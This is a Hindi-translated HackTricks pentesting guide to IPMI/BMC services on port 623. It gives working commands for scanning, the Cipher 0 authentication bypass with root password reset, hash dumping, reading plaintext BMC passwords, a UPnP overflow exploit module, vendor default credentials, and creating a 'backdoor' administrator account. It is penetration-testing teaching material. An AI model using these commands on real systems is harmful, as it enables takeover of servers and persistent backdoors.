hacktricks/network-services-pentesting/623-udp-ipmi.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

28 KiB

623/UDP/TCP - IPMI

623/UDP/TCP - IPMI

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

मूलभूत जानकारी

Intelligent Platform Management Interface (IPMI) सिस्टम प्रबंधन और मॉनिटरिंग के लिए उपयोग होने वाले हार्डवेयर-आधारित होस्ट प्रबंधन सिस्टम के लिए मानकीकृत विनिर्देश है। यह एक स्वतंत्र उपप्रणाली के रूप में कार्य करता है और होस्ट के BIOS, CPU, firmware और आधारभूत ऑपरेटिंग सिस्टम के बाहरी उपयोग के अलावा काम करता है। IPMI सिस्टम प्रबंधकों को सिस्टम को प्रबंधित और मॉनिटर करने की क्षमता प्रदान करता है, यहां तक कि वे बंद हो गए हों या अनुप्रतिक्रियाशील स्थिति में हों। यह सीधे नेटवर्क कनेक्शन का उपयोग करके सिस्टम के हार्डवेयर के साथ काम करता है और लॉगिन शैली के माध्यम से ऑपरेटिंग सिस्टम तक पहुंच की आवश्यकता नहीं होती है। IPMI का उपयोग टारगेट होस्ट के बिना शारीरिक पहुंच के सिस्टम में रिमोट अपग्रेड के लिए भी किया जा सकता है। IPMI सामान्यतः निम्नलिखित तीन तरीकों से उपयोग किया जाता है:

  • जब ऑपरेटिंग सिस्टम बूट नहीं हुआ हो तो BIOS सेटिंग्स को संशोधित करने के लिए
  • जब होस्ट पूरी तरह से बंद हो जाता है
  • सिस्टम असफलता के बाद होस्ट तक पहुंच

ये कार्यों के लिए उपयोग नहीं हो रहे होने पर, IPMI विभिन्न चीजों की मॉनिटरिंग कर सकता है जैसे कि सिस्टम तापमान, वोल्टेज, फैन स्थिति और पावर सप्लाई। इसका उपयोग इन्वेंटरी जानकारी के प्रश्न करने, हार्डवेयर लॉग की समीक्षा करने और SNMP का उपयोग करके अलर्ट करने के लिए भी किया जा सकता है। होस्ट सिस्टम बंद हो सकता है, लेकिन IPMI मॉड्यूल को सही ढंग से काम करने के लिए एक पावर स्रोत और एक LAN कनेक्शन की आवश्यकता होती है।

IPMI प्रोटोकॉल को पहली बार 1998 में Intel ने प्रकाशित किया था और अब यह Cisco, Dell, HP, Supermicro, Intel और अन्य 200 से अधिक सिस्टम विक्रेताओं द्वारा समर्थित है। IPMI संस्करण 2.0 का उपयोग सीरियल ओवर LAN के माध्यम से किया जा सकता है, जिससे सिस्टम प्रबंधकों को बैंड में सीरियल कंसोल आउटपुट देखने की क्षमता मिलती है। IPMI को कार्य करने के लिए निम्नलिखित घटकों की आवश्यकता होती है:

  • Baseboard Management Controller (BMC) - IPMI का एक माइक्रो-कंट्रोलर और महत्वपूर्ण घटक
  • Intelligent Chassis Management Bus (ICMB) - एक इंटरफ़ेस जो एक चेसिस से दूसरे चेसिस तक संचार की अनुमति देता है
  • Intelligent Platform Management Bus (IPMB) - BMC का विस्तार करता है
  • IPMI Memory - सिस्टम घटना लॉग, रेपोजिटरी स्टोर डेटा और अधिक जैसी चीजों को संग्रहीत करता है
  • संचार इंटरफ़ेस - स्थानीय सिस्टम इंटरफ़ेस, सीरियल और LAN इंटरफ़ेस, ICMB और PCI प्रबंधन बस

डिफ़ॉल्ट पोर्ट: 623/UDP/TCP (यह आमतौर पर UDP पर होता है, लेकिन यह TCP पर भी चल सकता है)

जांच

खोज

nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use  auxiliary/scanner/ipmi/ipmi_version

आप निम्नलिखित का पहचान कर सकते हैं:

use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10

संकटास्पदता - साइफर 0 के माध्यम से IPMI प्रमाणीकरण बाईपास

डैन फार्मर ने IPMI 2.0 विनिर्देशिका की एक गंभीर दुर्बलता की पहचान की है, अर्थात साइफर प्रकार 0, जो क्लियंट को साफ-पाठ प्रमाणीकरण का उपयोग करना चाहता है का संकेतक है, वास्तव में किसी भी पासवर्ड के साथ पहुंच देता है। साइफर 0 समस्याएं एचपी, डेल और सुपरमाइक्रो बीएमसी में पहचानी गईं हैं, जहां संभावित रूप से सभी IPMI 2.0 कार्यान्वयनों को शामिल किया जा सकता है।
ध्यान दें कि इस समस्या का शोधन करने के लिए आपको पहले एक मान्य उपयोगकर्ता का पता लगाना होगा।

आप इस समस्या की पहचान कर सकते हैं इसका उपयोग करके:

use auxiliary/scanner/ipmi/ipmi_cipher_zero

और आप ipmitool के साथ इस मुद्दे का दुरुपयोग कर सकते हैं:

apt-get install ipmitool #Install
#Using -C 0 any password is accepted
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list #Use Cipher 0 to dump a list of users
ID  Name      Callin  Link Auth   IPMI Msg   Channel Priv Limit
2   root             true    true       true       ADMINISTRATOR
3   Oper1            true    true       true       ADMINISTRATOR
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 #Change the password of root

संकटास्पदता - IPMI 2.0 RAKP प्रमाणीकरण दूरस्थ पासवर्ड हैश प्राप्ति

मूल रूप से, आप सर्वर से किसी भी उपयोगकर्ता के एक नमकीन हैश एमडी5 और एसएचए1 के लिए मांग सकते हैं और यदि उपयोगकर्ता मौजूद हैं तो वे हैश वापस भेजे जाएंगे। हाँ, जैसा कि यह सुनने में भी अद्भुत है। और इसके लिए मेटास्प्लोइट मॉड्यूल है जिसका उपयोग टेस्टिंग के लिए किया जा सकता है (आप जॉन या हैशकैट प्रारूप में आउटपुट का चयन कर सकते हैं):

msf > use auxiliary/scanner/ipmi/ipmi_dumphashes

ध्यान दें कि इसके लिए आपको केवल ब्रूट-फोर्स करने के लिए उपयोगकर्ता नामों की सूची की आवश्यकता होती है (मेटास्प्लोइट में पहले से ही एक डिफ़ॉल्ट उपयोगकर्ता शामिल है)।

ipmitool का उपयोग करके प्रमाणीकरण को छोड़कर (-c 0) रूट पासवर्ड को abc123 में बदलने के लिए:

root@kali:~# apt-get install ipmitool
root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list
ID  Name      Callin  Link Auth   IPMI Msg   Channel Priv Limit
2   root             true    true       true       ADMINISTRATOR
3   Oper1            true    true       true       ADMINISTRATOR
root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123

सुरक्षा दुर्बलता - IPMI अनाम अधितान

उपरोक्त प्रमाणीकरण समस्याओं के अलावा, डैन फार्मर ने ध्यान दिया कि कई BMCs "अनाम" पहुंच को डिफ़ॉल्ट रूप से सक्षम करके शिप करते हैं। इसे पहले के उपयोगकर्ता खाते के उपयोगकर्ता नाम को शून्य स्ट्रिंग पर सेट करके और उसके साथ मेल खाते के लिए शून्य पासवर्ड सेट करके कॉन्फ़िगर किया जाता है। ipmi_dumphashes मॉड्यूल शून्य उपयोगकर्ता खातों के पासवर्ड हैश (शामिल हैं रिक्त पासवर्ड) की पहचान करेगा और डंप करेगा। यह खाता अपने आप में उपयोग करना कठिन हो सकता है, लेकिन हम ipmitool का उपयोग करके एक नामित उपयोगकर्ता खाते का पासवर्ड रीसेट कर सकते हैं और उस खाते का उपयोग अन्य सेवाओं तक पहुंच के लिए कर सकते हैं:

ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list

ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
1                    false  false      true      ADMINISTRATOR
2  root            false  false      true      ADMINISTRATOR
3  admin            true    true      true      ADMINISTRATOR

ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword #Change the password of the user 2 (root) to "newpassword"

सुरक्षा दुर्बलता - सुपरमाइक्रो IPMI क्लियर-टेक्स्ट पासवर्ड

IPMI 2.0 निर्देशिका निर्धारित करती है कि BMC HMAC आधारित प्रमाणीकरण विधियों जैसे SHA1 और MD5 का प्रतिक्रिया करें। इस प्रमाणीकरण प्रक्रिया में कुछ गंभीर कमजोरियाँ होती हैं, जैसा कि पिछले उदाहरणों में दिखाया गया है, लेकिन इसके अलावा प्रमाणीकरण हैश की गणना करने के लिए क्लियर-टेक्स्ट पासवर्ड तक पहुंच की आवश्यकता होती है। इसका मतलब है कि BMC को सभी कॉन्फ़िगर किए गए उपयोगकर्ता पासवर्डों के क्लियर-टेक्स्ट संस्करण को किसी भी अस्थायी संग्रहण में संग्रहित करना होगा। सुपरमाइक्रो के मामले में, यह स्थान फर्मवेयर संस्करणों के बीच बदलता है, लेकिन यह या तो /nv/PSBlock या /nv/PSStore होता है। पासवर्ड विभिन्न बाइनरी ब्लॉब्स के बीच बिखरे हुए होते हैं, लेकिन वे हमेशा उपयोगकर्ता नाम के बाद आते हैं। यह किसी भी संगठन के लिए एक गंभीर मुद्दा है जो BMC या विभिन्न प्रकार के उपकरणों के बीच साझा पासवर्ड का उपयोग करता है।

cat /nv/PSBlock
admin                      ADMINpassword^TT                    rootOtherPassword!

सुरक्षा दुर्बलता - सुपरमाइक्रो IPMI UPnP

सुपरमाइक्रो अपनी हाल की मदरबोर्डों के IPMI फर्मवेयर पर UDP पोर्ट 1900 पर UPnP SSDP सुनने वाला एक लिस्टनर समाविष्ट करता है। SMT_X9_218 से पहले के संस्करणों में यह सेवा इंटेल SDK for UPnP Devices, संस्करण 1.3.1 चला रहा था। इस संस्करण में रैपिड7 ने खुलासा किया था, और इस प्लेटफ़ॉर्म के लिए एक उत्पादन निशान है Metasploit Framework का हिस्सा है। इस हमले के बारे में दिलचस्प बात यह है कि यह BMC को पूर्ण रूप से रूट एक्सेस प्रदान करता है, जो अन्यथा प्राप्त करना कठिन होता है। ध्यान दें कि प्रशासकीय एक्सेस के साथ हमलावर, या होस्ट सिस्टम पर रूट शैल में एक शैल में, सुपरमाइक्रो BMC के फर्मवेयर को एक दुर्भाग्यपूर्ण संस्करण में डाउनग्रेड कर सकते हैं और फिर इसे शोषण कर सकते हैं। एक बार रूट एक्सेस प्राप्त हो जाने के बाद, फ़ाइल सिस्टम से साफ़ पाठ्यक्रम पढ़ना संभव होता है, अतिरिक्त सॉफ़्टवेयर स्थापित करना संभव होता है, और BMC में स्थायी बैकडोर एकीकरण करना संभव होता है जो होस्ट के ऑपरेटिंग सिस्टम के पूर्ण पुनर्स्थापना को भी जीवित रखेगा।

msf> use exploit/multi/upnp/libupnp_ssdp_overflow

ब्रूट फोर्स

ध्यान दें कि केवल एचपी निर्माण प्रक्रिया के दौरान पासवर्ड को यादगार बनाता है।

उत्पाद नाम डिफ़ॉल्ट उपयोगकर्ता डिफ़ॉल्ट पासवर्ड
एचपी इंटीग्रेटेड लाइट्स आउट (iLO) व्यवस्थापक <फैक्ट्री रैंडमाइज़्ड 8-वर्णीय स्ट्रिंग>
डेल रिमोट एक्सेस कार्ड (iDRAC, DRAC) रूट calvin
आईबीएम इंटीग्रेटेड मैनेजमेंट मॉड्यूल (IMM) USERID PASSW0RD (शून्य के साथ)
फुजित्सु इंटीग्रेटेड रिमोट मैनेजमेंट कंट्रोलर व्यवस्थापक व्यवस्थापक
सुपरमाइक्रो IPMI (2.0) व्यवस्थापक व्यवस्थापक
ओरेकल / सन इंटीग्रेटेड लाइट्स आउट मैनेजर (ILOM) रूट changeme
एएसयूएस आईकेवीएम बीएमसी व्यवस्थापक व्यवस्थापक

BMC से होस्ट का उपयोग करके शोषण

एक बीएमसी के प्रशासनिक पहुंच प्राप्त करने के बाद, होस्ट ऑपरेटिंग सिस्टम तक पहुंच प्राप्त करने के लिए कई तरीके उपलब्ध होते हैं। सबसे सीधा मार्ग यह है कि बीएमसी के KVM कार्यक्षमता का दुरुपयोग करें और होस्ट को एक रूट शैली (GRUB में init=/bin/sh) या एक रेस्क्यू डिस्क को एक वर्चुअल सीडी-रॉम के रूप में निर्दिष्ट करें और उसे बूट करें। होस्ट के डिस्क का सीधा पहुंच प्राप्त होने के बाद, एक बैकडोर दर्ज करना, हार्ड ड्राइव से डेटा कॉपी करना, या सुरक्षा मूल्यांकन के हिस्से के रूप में कुछ भी करना आसान होता है। बड़ा नुकसान, बेशक, यह है कि इस तरीके का उपयोग करने के लिए होस्ट को रिबूट किया जाना चाहिए। होस्ट तक पहुंच प्राप्त करना बहुत कठिन होता है और इस पर निर्भर करता है कि होस्ट क्या चला रहा है। यदि होस्ट की भौतिक कंसोल लॉग इन छोड़ दी जाती है, तो इसे अंतर्जालीय कार्यक्षमता का उपयोग करके आसानी से हाइजैक किया जा सकता है। इसका एक ही तरीका धारीदार कंसोलों के लिए भी लागू होता है - यदि सीरियल पोर्ट को प्रमाणित सत्र से जोड़ा गया है, तो बीएमसी सीरियल-ओवर-लैन (sol) के लिए ipmitool इंटरफ़ेस का उपयोग करके इस पोर्ट को हाइजैक करने की अनुमति दे सकता है। एक मार्ग जिसे अभी भी अधिक अनुसंधान की आवश्यकता है, वह है साझा हार्डवेयर जैसे i2c बस और सुपर I/O चिप का उपयोग करना।

होस्ट से BMC का शोषण

जहां एक BMC वाले होस्ट को कंप्रोमाइज़ किया गया है, BMC के स्थानीय इंटरफ़ेस का उपयोग करके एक बैकडोर उपयोगकर्ता खाता दर्ज किया जा सकता है, और वहां से सर्वर पर स्थायी आधार स्थापित किया जा सकता है। इस हमले के लिए, होस्ट पर ipmitool स्थापित होना चाहिए और BMC के लिए ड्राइवर समर्थन सक्षम होना चाहिए। नीचे दिए गए उदाहरण में दिखाया गया है कि होस्ट पर स्थानीय इंटरफ़ेस का उपयोग करके, जिसमें प्रमाणिती की आवश्यकता नहीं होती है, BMC में एक नया उपयोगकर्ता खाता डाला जा सकता है। यह तरीका लिनक्स, विंडोज, बीएसडी, और डॉस लक्ष्यों के लिए सार्वभौमिक है।

ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)

ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)
4  backdoor        true    false      true      ADMINISTRATOR

शोडन

  • पोर्ट: 623

संदर्भ

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥